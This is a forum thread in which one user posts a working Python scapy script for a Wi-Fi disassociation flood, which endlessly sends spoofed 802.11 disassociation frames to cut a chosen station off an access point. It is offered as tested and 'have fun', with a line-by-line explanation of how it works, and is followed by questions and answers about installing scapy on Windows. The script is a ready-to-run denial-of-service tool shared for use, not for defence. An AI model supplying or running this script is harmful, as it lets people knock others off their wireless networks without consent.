[Wifi Flood]

Questions about programming languages and debugging
Post Reply
User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

[Wifi Flood]

Post by maboroshi »

Well I didn't write this code I just modified it to make it more user friendly. Tested it to work also.

Have Fun
Disassociation Flood Attack Script

Code: Select all


from scapy.all import *

if len(sys.argv) != 5:
    print "usage: %s <iface> <station-mac> <bssid> <reason-code>" % sys.argv[0]
    sys.exit(-1)

conf.iface = sys.argv[1]
station = sys.argv[2]
bssid = sys.argv[3]
rc = sys.argv[4]

frame = Dot11(addr1=station, addr2=bssid, addr3=bssid)/Dot11Disas(reason=rc)
sendp(frame, loop=1)

Source author Leandro Meiners from core security

User avatar
lilrofl
Siliconoclast
Siliconoclast
Posts: 1363
Joined: 28 Jan 2009, 17:00
15
Location: California, USA
Contact:

Post by lilrofl »

Nice! Thanks for the code :wink:

User avatar
moudy
Technology Enthusiast
Technology Enthusiast
Posts: 688
Joined: 10 Feb 2009, 17:00
15
Location: Beirut, Lebanon

Post by moudy »

I wanted to ask few questions about python in general.
I'm working n the standard library, but
how do I install a module ? (scapy)
I know its kinda a silly question :oops:
but i would like to know :)
and If you could explain more how the above code works, i would really appreciate it :wink:
mahmoud_shihab@hotmail.com

User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

hi

Post by maboroshi »

Depends what kind of system your running and how the python package is packaged, source, binary etc.

But generally Python Packages are put in (for example) Python2.5/Lib/site-packages

But you can also keep the modules in the same directory as your script.

On windows if its a binary you can just double click the executable and if Python is in your path should pick it up

as for scapy, on Linux/Debian Pretty easy to install using apt. Scapy requires several different modules to install. On windows there is documentation on how to get it to work... it has limitations though

as for the source of this code

basically pretty simple most the work is done in scapy

the key is these lines

Code: Select all

frame = Dot11(addr1=station, addr2=bssid, addr3=bssid)/Dot11Disas(reason=rc)
this creates a Dot11 Packet and makes a disassociation request( note not sure the terminology is correct )

Code: Select all

sendp(frame, loop=1)
Sendp is a scapy function sendp is faster then send, the value loop = 1 means it will continue looping loop = True ;)

Anyway hope that answers what ya needed

User avatar
moudy
Technology Enthusiast
Technology Enthusiast
Posts: 688
Joined: 10 Feb 2009, 17:00
15
Location: Beirut, Lebanon

Post by moudy »

Yup thanks alot Dr. mab, I can refer back to scapy's documentation for more details :wink:
I have a windows vista, and python 2.6 binary :roll:...
You said there might be some limitation, what are these limitations ?
And can you tell me where to find a functional scapy module for windows, i tried to search on google, but it seems im not knowing how to search well :(

cheers :D
mahmoud_shihab@hotmail.com

User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

heya

Post by maboroshi »

This is the Scapy Windows Installation guide

Code: Select all

http://trac.secdev.org/scapy/wiki/WindowsInstallationGuide
Not sure if all the modules are supported by Python 2.6

To download scapy go to this site

Code: Select all

http://www.secdev.org/projects/scapy/
and click under download Scapy's Latest Revision the latest release hasn't been updated yet

This is scapy version 2.1 Keep in mind ;)

User avatar
moudy
Technology Enthusiast
Technology Enthusiast
Posts: 688
Joined: 10 Feb 2009, 17:00
15
Location: Beirut, Lebanon

Post by moudy »

Thanks Dr. mab a bunch :D
I'll see what I do about it :wink:
mahmoud_shihab@hotmail.com

Post Reply